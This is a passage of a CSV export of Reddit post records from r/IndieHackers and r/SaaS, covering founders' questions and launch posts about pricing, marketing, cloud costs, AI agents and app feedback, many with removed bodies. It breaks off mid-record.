startup,[removed],Livid_Ad6599,1,0,1781814159,/r/indiehackers/comments/1u9hb75/overspending_on_new_startup/,https://www.reddit.com/r/indiehackers/comments/1u9hb75/overspending_on_new_startup/,self.indiehackers,True,1,False,Financial Question,arctic-shift,1781885556 1u9h4dj,IndieHackers,Marketing and Anti-AI Sentiment,[removed],BeeLineMicrosystems,1,0,1781813726,/r/indiehackers/comments/1u9h4dj/marketing_and_antiai_sentiment/,https://www.reddit.com/r/indiehackers/comments/1u9h4dj/marketing_and_antiai_sentiment/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9h122,IndieHackers,"SHOW IH: ScriptTap, a no-root Android automation app",[removed],Romka2x,1,0,1781813516,/r/indiehackers/comments/1u9h122/show_ih_scripttap_a_noroot_android_automation_app/,https://www.reddit.com/r/indiehackers/comments/1u9h122/show_ih_scripttap_a_noroot_android_automation_app/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9h106,IndieHackers,"Building a Shopify app with 2 users, would love honest feedback",[removed],Living-Cherry7352,1,0,1781813512,/r/indiehackers/comments/1u9h106/building_a_shopify_app_with_2_users_would_love/,https://www.reddit.com/r/indiehackers/comments/1u9h106/building_a_shopify_app_with_2_users_would_love/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9gl1t,IndieHackers,Pitchsense.world,[removed],HelpKey3133,1,0,1781812494,/r/indiehackers/comments/1u9gl1t/pitchsenseworld/,https://www.reddit.com/r/indiehackers/comments/1u9gl1t/pitchsenseworld/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9fohc,IndieHackers,What do you use to track users in onboarding and drop off?,[removed],harohshit,1,0,1781810430,/r/indiehackers/comments/1u9fohc/what_do_you_use_to_track_users_in_onboarding_and/,https://www.reddit.com/r/indiehackers/comments/1u9fohc/what_do_you_use_to_track_users_in_onboarding_and/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9fggn,IndieHackers,For those of you who build software for other people,[removed],turen2,1,0,1781809938,/r/indiehackers/comments/1u9fggn/for_those_of_you_who_build_software_for_other/,https://www.reddit.com/r/indiehackers/comments/1u9fggn/for_those_of_you_who_build_software_for_other/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9fa9b,IndieHackers,"Built a football prediction platform that's about bragging rights, not betting",[removed],No-Hurry-1373,1,0,1781809549,/r/indiehackers/comments/1u9fa9b/built_a_football_prediction_platform_thats_about/,https://v.redd.it/66un919ja38h1,v.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9f21b,IndieHackers,"I got tired of posting the same content across multiple social platforms, so I built my own scheduler",[removed],Positive_Relation570,1,0,1781809054,/r/indiehackers/comments/1u9f21b/i_got_tired_of_posting_the_same_content_across/,https://v.redd.it/obnjh74x838h1,v.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9ewtk,IndieHackers,How i make decent product videos for my SaaS without a budget or any editing skill,[removed],DefinitionLeading675,1,0,1781808727,/r/indiehackers/comments/1u9ewtk/how_i_make_decent_product_videos_for_my_saas/,https://www.reddit.com/r/indiehackers/comments/1u9ewtk/how_i_make_decent_product_videos_for_my_saas/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9etho,IndieHackers,"Spent months building a ""cognitive calendar"" because I was sick of pretending I'm a morning person. Real problem, or just mine?",[removed],GoldstonGuis1976,1,0,1781808521,/r/indiehackers/comments/1u9etho/spent_months_building_a_cognitive_calendar/,https://www.reddit.com/r/indiehackers/comments/1u9etho/spent_months_building_a_cognitive_calendar/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9eg5l,IndieHackers,After months of development for a complex built I built a Mac app that drops a tiny arcade over your real desktop.,[removed],TelephoneWooden,1,0,1781807692,/r/indiehackers/comments/1u9eg5l/after_months_of_development_for_a_complex_built_i/,https://v.redd.it/w3x3pk01538h1,v.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9edh5,IndieHackers,In next month I will ship my first SaaS,[removed],sbaxiii,1,0,1781807525,/r/indiehackers/comments/1u9edh5/in_next_month_i_will_ship_my_first_saas/,https://www.reddit.com/r/indiehackers/comments/1u9edh5/in_next_month_i_will_ship_my_first_saas/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9e7pz,IndieHackers,First time building a SaaS and suddenly lost motivation,,Abvu,1,0,1781807183,/r/indiehackers/comments/1u9e7pz/first_time_building_a_saas_and_suddenly_lost/,/r/SaaS/comments/1u9e70c/first_time_building_a_saas_and_suddenly_lost/,,False,1,False,General Question,arctic-shift,1781885556 1ua65gn,SaaS,At what point did cloud costs become a serious problem for your SaaS business?,"For those running SaaS products in the cloud, what percentage of your revenue goes to cloud infrastructure (AWS/Azure/GCP)? At what scale did cloud costs become a major concern, and what were the biggest drivers (compute, databases, storage, networking, AI workloads, etc.)?",ChefExcellenceCerti,1,0,1781885467,/r/SaaS/comments/1ua65gn/at_what_point_did_cloud_costs_become_a_serious/,https://www.reddit.com/r/SaaS/comments/1ua65gn/at_what_point_did_cloud_costs_become_a_serious/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua63tr,SaaS,Where would you market RAG SaaS?,"https://preview.redd.it/lbwdplqdj98h1.png?width=2342&format=png&auto=webp&s=32680eede7e3374a12a22f9e4caacaf2ed07f2b9 Hi everyone! I’m looking for some advice on target markets for a RAG solution tailored for small businesses. My initial thoughts were property management and field service companies, but I feel like there are other, more lucrative niches out there. Where else do you think a RAG system could bring the most value to small teams?",Willing-Teaching,1,0,1781885365,/r/SaaS/comments/1ua63tr/where_would_you_market_rag_saas/,https://www.reddit.com/r/SaaS/comments/1ua63tr/where_would_you_market_rag_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua627b,SaaS,"Looking for an operator or acquirer for a pre-revenue, pre-built SMB SaaS tool",[removed],Actual-Leave2938,1,0,1781885260,/r/SaaS/comments/1ua627b/looking_for_an_operator_or_acquirer_for_a/,https://www.reddit.com/r/SaaS/comments/1ua627b/looking_for_an_operator_or_acquirer_for_a/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua5xko,SaaS,SaaS Builders: Is 90+ PageSpeed Score Actually Required for SEO Ranking?,"Hey everyone, quick question on Core Web Vitals: I know many large-scale SaaS products struggle to hit 90+ PageSpeed (usually landing 80-90), but I'm seeing simple sites outrank them consistently. ​ For SEO ranking purposes, does crossing that 90+ threshold actually matter over just being ""fast enough""? Or is it okay to stay below 90 if the site still loads quickly? What's your experience with Web Vitals vs. actual ranking impact?",arkaSunn,1,0,1781884957,/r/SaaS/comments/1ua5xko/saas_builders_is_90_pagespeed_score_actually/,https://www.reddit.com/r/SaaS/comments/1ua5xko/saas_builders_is_90_pagespeed_score_actually/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua5s0d,SaaS,Do you believe that one day there will be a building that can predict aging through sensor data?,Combine Ai+biotech ,Pur-maspur,1,0,1781884631,/r/SaaS/comments/1ua5s0d/do_you_believe_that_one_day_there_will_be_a/,https://www.reddit.com/r/SaaS/comments/1ua5s0d/do_you_believe_that_one_day_there_will_be_a/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua5pes,SaaS,What next for my app?,[removed],I_AM_GOOD_Ad7673,1,1,1781884464,/r/SaaS/comments/1ua5pes/what_next_for_my_app/,https://i.redd.it/vfm2fjb2h98h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua5n0r,SaaS,"People I’ve never met are paying for something I built , it still doesn't feel real",,Sorry-Bat-9609,1,0,1781884312,/r/SaaS/comments/1ua5n0r/people_ive_never_met_are_paying_for_something_i/,https://i.redd.it/2q0cnvsjg98h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua5kyt,SaaS,What's next for my MINDFUEL AI app?,[removed],I_AM_GOOD_Ad7673,1,1,1781884178,/r/SaaS/comments/1ua5kyt/whats_next_for_my_mindfuel_ai_app/,https://i.redd.it/7pdcekneg98h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua5jlt,SaaS,"After spending 40+ hours researching cold outreach (50+ articles, 12+ videos, benchmark reports, agency case studies, and thousands of comments), here are the notes that changed how I think about cold email:",[removed],Open_Big_1488,1,0,1781884088,/r/SaaS/comments/1ua5jlt/after_spending_40_hours_researching_cold_outreach/,https://www.reddit.com/r/SaaS/comments/1ua5jlt/after_spending_40_hours_researching_cold_outreach/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua5bmu,SaaS,I can get you first 3 Paying Customers,[removed],zuke_99,1,0,1781883562,/r/SaaS/comments/1ua5bmu/i_can_get_you_first_3_paying_customers/,https://www.reddit.com/r/SaaS/comments/1ua5bmu/i_can_get_you_first_3_paying_customers/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua5blw,SaaS,Standard SaaS subscription pricing is broken for utility tools. Here is why I’m choosing metered billing for my MVP.,"Every SaaS playbook tells you to do the exact same thing when you launch: pick three tiers, slap a flat monthly subscription on them, and chase that predictable MRR. It’s what Stripe makes easiest, and it’s what we are all conditioned to build. But for certain types of utility software, standard subscriptions feel inherently broken for the end user. I’m currently building ReLinkr, an asynchronous link crawler designed to catch silent redirect rot and broken offers for affiliate marketers and site portfolio owners. The reality of a tool like this is that usage is highly sporadic. A user might need to run a massive, aggressive deep scan of 30,000 pages once or twice a month, and then let the tool sit completely idle for the next twenty-eight days. Charging someone a flat monthly fee when their account is sitting idle feels like a recipe for immediate churn. Forcing them into an expensive, high-tier plan just because they have one massive site to scan once feels even worse. So, I decided to go against the grain for the launch and implement a strict, pay-as-you-go metered model where users only pay for the exact number of page scans the Python workers execute. While it’s the fairest play for the customer, from a development standpoint it turned a straightforward Stripe integration into a massive infrastructure headache. With a flat subscription, your app just checks a single active boolean flag and lets the user run. With metered billing, you have to track highly concurrent usage accurately in real-time. Because the crawler runs async tasks across multiple proxies to bypass CDN firewalls, I can't just increment a database column on every single request without hitting write locks and tanking performance. Instead, I've had to build out a system where async workers log completed tasks to a Redis queue, batch the records, update the internal database, and then safely stream those usage tokens over to Stripe’s metered billing API without causing a bottleneck in the core execution loop. It’s adding significant infrastructure complexity to the MVP launch timeline just to handle the financial plumbing. I’m dug in on this model because I think usage-based pricing builds the highest amount of trust with early adopters in this specific niche, but the trade-off of giving up predictable MRR on day one is real. For the bootstrappers and founders here who have taken the usage-based route: Was the massive shift in backend complexity worth the flexibility it gave your users early on, or should I have just slapped a standard subscription tier on it to get the product out the door faster?",Dev_ReLinkr,1,0,1781883560,/r/SaaS/comments/1ua5blw/standard_saas_subscription_pricing_is_broken_for/,https://www.reddit.com/r/SaaS/comments/1ua5blw/standard_saas_subscription_pricing_is_broken_for/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua579c,SaaS,OSINT Industries free alternative,"[https://fingerprint.to/demo](https://fingerprint.to/demo) email search just dropped, go try it out. this is currently one of the best free osint reverse tools created by me",bruhhh456564,1,0,1781883276,/r/SaaS/comments/1ua579c/osint_industries_free_alternative/,https://www.reddit.com/r/SaaS/comments/1ua579c/osint_industries_free_alternative/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua557p,SaaS,What’s the hardest part of measuring conversation quality at scale?,[removed],SupernalostomyYe,1,1,1781883145,/r/SaaS/comments/1ua557p/whats_the_hardest_part_of_measuring_conversation/,https://www.reddit.com/r/SaaS/comments/1ua557p/whats_the_hardest_part_of_measuring_conversation/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua52x6,SaaS,"People I’ve never met are paying for something I built , it still doesn't feel real","https://preview.redd.it/eu86j38oc98h1.png?width=612&format=png&auto=webp&s=a1834008cdcfe1e6b16598e6e3dfb65f90099507 ",Sorry-Bat-9609,1,0,1781883001,/r/SaaS/comments/1ua52x6/people_ive_never_met_are_paying_for_something_i/,https://www.reddit.com/r/SaaS/comments/1ua52x6/people_ive_never_met_are_paying_for_something_i/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4zlh,SaaS,Anyone using real banks? Which one?,"Hi guys I have an UK Ltd as a non resident director. (Eu resident). Do u know any real bank (no wise and similar) where is possible to open a real business account - possibly remotely? I’m sick of Wise and all of these fintechs. Please answer only if u have real experience on the matter. ",Isedo_m,1,0,1781882793,/r/SaaS/comments/1ua4zlh/anyone_using_real_banks_which_one/,https://www.reddit.com/r/SaaS/comments/1ua4zlh/anyone_using_real_banks_which_one/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4xco,SaaS,I built an MVP for affordable PKI / certificate lifecycle management and looking for feedback from SaaS founders,[removed],bustedware,1,0,1781882642,/r/SaaS/comments/1ua4xco/i_built_an_mvp_for_affordable_pki_certificate/,https://www.reddit.com/r/SaaS/comments/1ua4xco/i_built_an_mvp_for_affordable_pki_certificate/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4us4,SaaS,IS THIS EVEN POSSIBLE ?,"The idea of having one ai agent managing thousands of operations and other AI agents, all at once. Like a kind of super-intelligence pulling the strings of an entire enterprise. This is definitely the 2026 the vision many AI companies are chasing. But there's a critical piece missing from this picture. You see, the real challenge isn't just creating an AI that can make decisions and take actions. It's ensuring that those actions are safe, responsible, and aligned with the needs of the real world. Many are focused on building the biggest brain, This is asking a different question: ""How do we safely let AI operate in reality?"" What i cares about is whether each action proposed by these agents should be allowed to affect the real world. when an agent proposes refunding a customer $50 million. In most cases, if the agent has the right permissions, that refund would go through. but now how about this , before any action is executed, it's first simulated in a twin world a detailed replica of the real world. The consequences of the action are thoroughly evaluated. The agent's responsibility and track record are checked. If any red flags are raised, the action is contained before it can touch reality. It's not about building smarter AI. It's about building responsible AI. This idea didn't come out of nowhere. It emerged from hard-won lessons in the trenches of AI development. From watching agents make locally optimized decisions that had disastrous ripple effects. From realizing that the traditional approach of permissions and human oversight was no longer sufficient. A world where AI can be trusted to take on increasing responsibility, not because it's perfect, but because it's embedded in a system of checks and balances. A system that contains the blast radius of any mistake. A system that lets AI prove its trustworthiness through safe operation over time. This is the future Astra is building towards. Not just an AI that can think, but an AI that can act in the real world with all the care and consideration we'd expect from a human. An AI that earns its place in reality through responsible behavior. what do you think ?",baron-12,1,0,1781882486,/r/SaaS/comments/1ua4us4/is_this_even_possible/,https://i.redd.it/176tarioa98h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua4un5,SaaS,Marketplace value for a SAAS stack capable of the following functions with no users and no revenue all packaged with authentication access on a self hosted wordpress website platform.,"The title is an AI request I made. How true is this? For a SaaS platform with the capabilities you listed: * S2S postbacks * SubID tracking * Analytics * Fraud detection * Multi-tenancy * Real-time dashboards * Mobile notifications * Bot filtering * Self-hosted WordPress Multisite * Authentication and user management and assuming: * No users * No revenue * No customer contracts * No recognizable brand * No intellectual property patents * Self-hosted deployment * Functional, documented, and transferable codebase the marketplace value is primarily based on **replacement cost**, **development time**, and **technical quality**. # Typical Valuation Range |Asset Type|Estimated Value| |:-|:-| |Basic MVP with average code quality|$5,000 – $20,000| |Well-built production-ready platform|$20,000 – $75,000| |Enterprise-grade architecture with documentation and automation|$75,000 – $250,000+| |Platform with proven customers and recurring revenue|2x–8x ARR or higher| # What Increases Value A buyer would pay more if the stack includes: * Complete Docker deployment * Automated installation scripts * ClickHouse analytics backend * Redis event processing * Real-time metrics pipeline * API documentation * Multi-tenant isolation * White-label capabilities * WordPress provisioning automation * Fraud scoring engine * Mobile app integration * Monitoring via Prometheus and Grafana * CI/CD pipelines * Security audits # Comparable Markets Your feature set resembles portions of: * Voluum * RedTrack * ClickMagick * Binom * Keitaro Building similar functionality from scratch often requires 6–24 months of engineering effort. # Replacement Cost Estimate Approximate engineering cost to recreate: |Component|Cost| |:-|:-| |Tracking engine|$15k–$75k| |Real-time analytics|$10k–$50k| |Fraud detection|$10k–$100k| |Multi-tenancy|$10k–$40k| |WordPress multisite automation|$5k–$25k| |Mobile notifications|$2k–$15k| |Dashboarding|$5k–$30k| Total replacement cost could easily exceed **$75,000–$300,000+** depending on sophistication. # Realistic Marketplace Price Today If you listed the entire stack on a SaaS acquisition marketplace with no customers and no revenue: * **Quick sale:** $10,000–$30,000 * **Reasonable sale:** $25,000–$75,000 * **Exceptional codebase with strong documentation and deployment automation:** $75,000–$150,000+ The biggest driver of value is not the feature list but whether a buyer can deploy it immediately and start acquiring customers. A platform generating even $1,000–$2,000 MRR can often be worth more than a technically superior platform with zero users because revenue dramatically reduces risk for buyers.For a SaaS platform with the capabilities you listed:S2S postbacks SubID tracking Analytics Fraud detection Multi-tenancy Real-time dashboards Mobile notifications Bot filtering Self-hosted WordPress Multisite Authentication and user managementand assuming:No users No revenue No customer contracts No recognizable brand No intellectual property patents Self-hosted deployment Functional, documented, and transferable codebasethe marketplace value is primarily based on replacement cost, development time, and technical quality.Typical Valuation RangeAsset Type Estimated Value Basic MVP with average code quality $5,000 – $20,000 Well-built production-ready platform $20,000 – $75,000 Enterprise-grade architecture with documentation and automation $75,000 – $250,000+ Platform with proven customers and recurring revenue 2x–8x ARR or higherWhat Increases ValueA buyer would pay more if the stack includes:Complete Docker deployment Automated installation scripts ClickHouse analytics backend Redis event processing Real-time metrics pipeline API documentation Multi-tenant isolation White-label capabilities WordPress provisioning automation Fraud scoring engine Mobile app integration Monitoring via Prometheus and Grafana CI/CD pipelines Security auditsComparable MarketsYour feature set resembles portions of:Voluum RedTrack ClickMagick Binom KeitaroBuilding similar functionality from scratch often requires 6–24 months of engineering effort.Replacement Cost EstimateApproximate engineering cost to recreate:Component Cost Tracking engine $15k–$75k Real-time analytics $10k–$50k Fraud detection $10k–$100k Multi-tenancy $10k–$40k WordPress multisite automation $5k–$25k Mobile notifications $2k–$15k Dashboarding $5k–$30kTotal replacement cost could easily exceed $75,000–$300,000+ depending on sophistication.Realistic Marketplace Price TodayIf you listed the entire stack on a SaaS acquisition marketplace with no customers and no revenue:Quick sale: $10,000–$30,000 Reasonable sale: $25,000–$75,000 Exceptional codebase with strong documentation and deployment automation: $75,000–$150,000+The biggest driver of value is not the feature list but whether a buyer can deploy it immediately and start acquiring customers. A platform generating even $1,000–$2,000 MRR can often be worth more than a technically superior platform with zero users because revenue dramatically reduces risk for buyers.",eze008,1,0,1781882477,/r/SaaS/comments/1ua4un5/marketplace_value_for_a_saas_stack_capable_of_the/,https://www.reddit.com/r/SaaS/comments/1ua4un5/marketplace_value_for_a_saas_stack_capable_of_the/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4u2z,SaaS,"For those who launched a desktop app, did TikTok actually work for customer acquisition?","I'm a solo founder and recently launched a desktop productivity app for Windows and macOS. Most of my users so far have come from Reddit and Facebook groups, but I'm starting to think about short-form content and whether TikTok is worth investing time into. For founders who have successfully used TikTok: * Did it actually bring paying customers or mostly views? * How did you decide what content to post? * Do you use trending audio/music or just focus on the story? * How much time do you spend creating videos? * What types of videos performed best for a software product? I've also been hearing a lot about UGC creators recently. Has anyone hired UGC creators for a SaaS product? If so, was it worth it? Would love to hear what's worked (or failed) before I spend weeks learning a channel that might not be a fit. Thanks!",activeLearnerMe,1,0,1781882439,/r/SaaS/comments/1ua4u2z/for_those_who_launched_a_desktop_app_did_tiktok/,https://www.reddit.com/r/SaaS/comments/1ua4u2z/for_those_who_launched_a_desktop_app_did_tiktok/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4t8z,SaaS,When do you think bootstrapping is not an option?,"I'm prone to think that bootstrapped businesses are the only valid ones, especially for SaaS, because you must be able to make something from nothing in referring to product, sales, marketing, branding, etc. before delegating in some other people. Of course there are exceptions for that, like capital-intensive startups with costly infra or something, but I'm interested in knowing more opinions",jmondejar_,1,0,1781882386,/r/SaaS/comments/1ua4t8z/when_do_you_think_bootstrapping_is_not_an_option/,https://www.reddit.com/r/SaaS/comments/1ua4t8z/when_do_you_think_bootstrapping_is_not_an_option/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4pgg,SaaS,Unpopular opinion: Netflix isn't the reason movie nights fail.,"Unpopular opinion: Netflix isn't the reason movie nights fail. Your friends are. Every movie night follows the same script: ""Let's watch something."" ""What do you want to watch?"" ""I don't know, anything."" *30 minutes later* Nobody has picked anything. We don't have a content discovery problem anymore. We have a group decision problem. There are more movies, restaurants, and activities available than ever before. The bottleneck is getting multiple people to agree. That's the idea behind something I'm building called Picksy. Instead of debating, everyone swipes independently and the group consensus emerges automatically. It's fascinating how much friction disappears when you remove the negotiation. What's your group's worst ""we spent forever deciding"" story?",Exciting_Island7707,1,0,1781882136,/r/SaaS/comments/1ua4pgg/unpopular_opinion_netflix_isnt_the_reason_movie/,https://www.reddit.com/r/SaaS/comments/1ua4pgg/unpopular_opinion_netflix_isnt_the_reason_movie/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4nh7,SaaS,One thing I've noticed across a lot of startups:,"Everyone wants more leads. But very few teams spend time asking *why* existing leads aren't converting. Sometimes it's the follow-up. Sometimes it's unclear messaging. Sometimes the product simply isn't the right fit. It's easy to blame traffic because it's measurable. It's much harder to identify the real bottleneck. I'm curious: **If you could improve only one part of your funnel today, what would it be?** * Getting more leads * Qualifying leads better * Faster follow-ups * Converting more customers * Retaining customers longer I'd love to hear what stage has been the most challenging for your business and why.",NormalBid3352,1,0,1781882007,/r/SaaS/comments/1ua4nh7/one_thing_ive_noticed_across_a_lot_of_startups/,https://www.reddit.com/r/SaaS/comments/1ua4nh7/one_thing_ive_noticed_across_a_lot_of_startups/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4mw7,SaaS,I launched a job-search agent I built for my wife. I'm a week into my beta. Here's how it's going.,"**Quick background:** I'm an Infra and Cloud Engineer and I don't know anything about marketing really. I originally built this for my wife when she was job hunting after watching her brutally suffer through it. It worked. She got an offer in 2 and a half weeks. To me, that was value proof enough that I spent the next 6 weeks building it into a product. I launched my first ever beta this past Monday (June 15). Here's a real account of how this week has gone. **First, here's what it does:** Morning Stack searches all the big job boards (and some niche ones) every night to find jobs that it can prove are real with the company's direct careers page or ATS system. Then, for the qualified openings, it writes a JD-tailored package and emails it to my user before their day starts (6:45am local right now). It never auto-applies. I don't ask people to login to any of these sites. They wake up to proven-real, high-value job opportunities and all they have to do is review the packaged materials (an ATS-tuned version of their resume, a cover letter written in their own voice, and some info about the company/position) and apply directly with the company (NEVER on the big job boards themselves). My whole philosophy is that the automation owns the really hard 90% of finding roles that actually exist with real companies, and you own the human part. Being excited about good job opportunities and controlling your own reputation. Week 1 numbers: * 9 Waitlisters were invited on Tuesday and that converted to 2 paying beta customers (small sample but >20%) * Waitlist now sitting at \~25 people that will be invited today * Nightly pipeline shipped real stacks every weekday this week (canary, pilot, and beta users) **What worked:** a paid directory feature on BetaList + Reddit paid ads drove most of my waitlist. A little more from warm-network posting on Facebook. Warm users converted more easily than cold. No surprise there. **What didn't work:** I tried cold outreaching to career coaches and got a lot of immediate ""UNSUBSCRIBE"" responses. One interested party but more of a long term play. Meeting with them today. Happy to answer anything about the architecture (LLM driven real-browser work, not API scraping) or the go-to-market strategy. Super open to feedback from SaaS vets. I work in software but I'm not an entrepreneur, so all of this is new to me and I'm hyper-focused on learning. I also put together a demo page so people can see how it works overnight on a real user run (this is my actual canary user one night last week): [Morning Stack Demo](https://morningstack.app/demo/)",AdditionLogical2088,1,0,1781881969,/r/SaaS/comments/1ua4mw7/i_launched_a_jobsearch_agent_i_built_for_my_wife/,https://morningstack.app/demo/,morningstack.app,False,1,False,,arctic-shift,1781885554 1ua4md8,SaaS,Does anyone else feel like PDF workflows are still weirdly fragmented?,[removed],Early_Fan_7965,1,0,1781881934,/r/SaaS/comments/1ua4md8/does_anyone_else_feel_like_pdf_workflows_are/,https://www.reddit.com/r/SaaS/comments/1ua4md8/does_anyone_else_feel_like_pdf_workflows_are/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4ln1,SaaS,Hi guys help my in close testing and i will help you,"I building app to connect remote works to start work together out side the home ​ Im in 14 testing day now and i need people to test and open app for 14 day ",Fuzzy_Sweet7860,1,0,1781881886,/r/SaaS/comments/1ua4ln1/hi_guys_help_my_in_close_testing_and_i_will_help/,https://www.reddit.com/r/SaaS/comments/1ua4ln1/hi_guys_help_my_in_close_testing_and_i_will_help/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4i3z,SaaS,Is this even possible ?,"One AI system managing legions of customers, operations, payments, workflows, robots, and other AI agents, all at once. A super-intelligence pulling the strings of an entire enterprise. This is the vision many AI companies are chasing. But there's a critical piece missing from this picture. You see, the real challenge isn't just creating an AI that can make decisions and take actions. It's ensuring that those actions are safe, responsible, and aligned with the needs of the real world. Many are focused on building the biggest brain, This is asking a different question: ""How do we safely let AI operate in reality?"" What i cares about is whether each action proposed by these agents should be allowed to affect the real world. when an agent proposes refunding a customer $50 million. In most cases, if the agent has the right permissions, that refund would go through. but now how about this , before any action is executed, it's first simulated in a twin world a detailed replica of the real world. The consequences of the action are thoroughly evaluated. The agent's responsibility and track record are checked. If any red flags are raised, the action is contained before it can touch reality. It's not about building smarter AI. It's about building responsible AI. This idea didn't come out of nowhere. It emerged from hard-won lessons in the trenches of AI development. From watching agents make locally optimized decisions that had disastrous ripple effects. From realizing that the traditional approach of permissions and human oversight was no longer sufficient. A world where AI can be trusted to take on increasing responsibility, not because it's perfect, but because it's embedded in a system of checks and balances. A system that contains the blast radius of any mistake. A system that lets AI prove its trustworthiness through safe operation over time. This is the future Astra is building towards. Not just an AI that can think, but an AI that can act in the real world with all the care and consideration we'd expect from a human. An AI that earns its place in reality through responsible behavior. what do you think ? ",baron-12,1,0,1781881656,/r/SaaS/comments/1ua4i3z/is_this_even_possible/,https://i.redd.it/kb67isi5498h1.png,i.redd.it,False,1,False,,arctic-shift,1781885554 1ua4gin,SaaS,I kept setting 6-month goals and forgetting them by week 2,"For years, I thought my problem was discipline. I'd set a big 6-month goal, get excited, make a plan, and then somehow forget about it by week 2. Not because I stopped caring. Because nothing in my daily life reminded me it existed. My inbox reminded me what mattered. My calendar reminded me what mattered. Work notifications reminded me what mattered. My biggest personal goal? Buried in a notes app somewhere. One day I realized that the things I consistently paid attention to were simply the things I saw every day. So I built something for myself. A tiny widget that keeps my #1 goal visible every time I open my laptop. It also makes me rewrite that goal every morning in about 30 seconds. Sounds almost stupidly simple. But rewriting it daily turns it from a goal I set months ago into a goal I'm actively choosing today. Since then, I've found myself drifting less, making better decisions, and staying focused on what I actually wanted to achieve. Curious if anyone else has experienced this. Do people fail goals because they lack discipline? Or because their goals become invisible?",karan_singh_21,1,0,1781881555,/r/SaaS/comments/1ua4gin/i_kept_setting_6month_goals_and_forgetting_them/,https://www.reddit.com/r/SaaS/comments/1ua4gin/i_kept_setting_6month_goals_and_forgetting_them/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4fr1,SaaS,"i need your saas to to list them in my saas directory, will be live soon on google",please share a link to your saas if interested :),umarmirza324,1,0,1781881504,/r/SaaS/comments/1ua4fr1/i_need_your_saas_to_to_list_them_in_my_saas/,https://www.reddit.com/r/SaaS/comments/1ua4fr1/i_need_your_saas_to_to_list_them_in_my_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4cwz,SaaS,"If you aren’t moving THIS fast, you’re ngmi","https://preview.redd.it/risqq5rz798h1.png?width=1206&format=png&auto=webp&s=941deb022f99c595ff61ebc41a068b53bd92869b ",Such-Delivery4198,1,0,1781881322,/r/SaaS/comments/1ua4cwz/if_you_arent_moving_this_fast_youre_ngmi/,https://www.reddit.com/r/SaaS/comments/1ua4cwz/if_you_arent_moving_this_fast_youre_ngmi/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua4bn8,SaaS,I can build the thing. i cannot for the life of me get anyone to see it. what actually worked for you at $0?,[removed],This-Ad-342,1,0,1781881249,/r/SaaS/comments/1ua4bn8/i_can_build_the_thing_i_cannot_for_the_life_of_me/,https://www.reddit.com/r/SaaS/comments/1ua4bn8/i_can_build_the_thing_i_cannot_for_the_life_of_me/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua48ha,SaaS,The hardest part of building my SaaS was the MCP harness,"Not the database. Not auth. Not billing. The harness. You change one word in a tool description and the agent starts behaving completely differently. No error. No warning. It just... does something else now. And you have no clue why. With code you at least have tests. With this you have vibes and manual re-runs. I once spent 40 minutes debugging before realizing the word ""optional"" in a parameter description was making the model skip it entirely. That's the job now apparently. Rewrote mine from scratch twice. Still tweaking. Anyone else deep in this or just me?",lucasmonn,1,0,1781881054,/r/SaaS/comments/1ua48ha/the_hardest_part_of_building_my_saas_was_the_mcp/,https://www.reddit.com/r/SaaS/comments/1ua48ha/the_hardest_part_of_building_my_saas_was_the_mcp/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua45zx,SaaS,How should hiring change in the AI coding era (Copilot/Cursor/etc.)?,"With AI now part of everyday development, traditional “no AI, write code from scratch” interviews feel less aligned with real work. Developers today already use AI for boilerplate, debugging, refactoring, and exploring solutions, so interviews may need to shift from memorization to real-world judgment. Possible approach: Allow AI tools during interviews instead of banning them. Focus on problem framing, not just coding output. Evaluate ability to review, debug, and improve AI-generated code. Test system design, architecture, and tradeoffs more deeply. Use take-home assignments, prototypes, and case studies. Open-ended problems that reflect real engineering work. Assess reasoning, decision-making, and clarity of thought. The key shift seems to be from: “Can you write code?” to “Can you build software effectively using modern tools including AI?” If AI is part of production workflows, should interviews still simulate a world without it? Please share your thoughts",uthoppae,1,0,1781880881,/r/SaaS/comments/1ua45zx/how_should_hiring_change_in_the_ai_coding_era/,https://www.reddit.com/r/SaaS/comments/1ua45zx/how_should_hiring_change_in_the_ai_coding_era/,self.SaaS,True,1,False,,arctic-shift,1781885554 1ua3z9s,SaaS,What surprised you the most when building your first 